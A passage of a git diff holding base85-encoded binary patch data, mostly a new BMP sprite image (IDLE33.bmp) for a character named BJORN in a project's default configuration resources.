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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE33.bmp new file mode 100644 index 0000000000000000000000000000000000000000..fc14d1108dc9d5ae6d54689d19dc70087c8ab9ff GIT binary patch literal 18462 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⁣l`+u6a`)cC;tC!avjo(sD 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 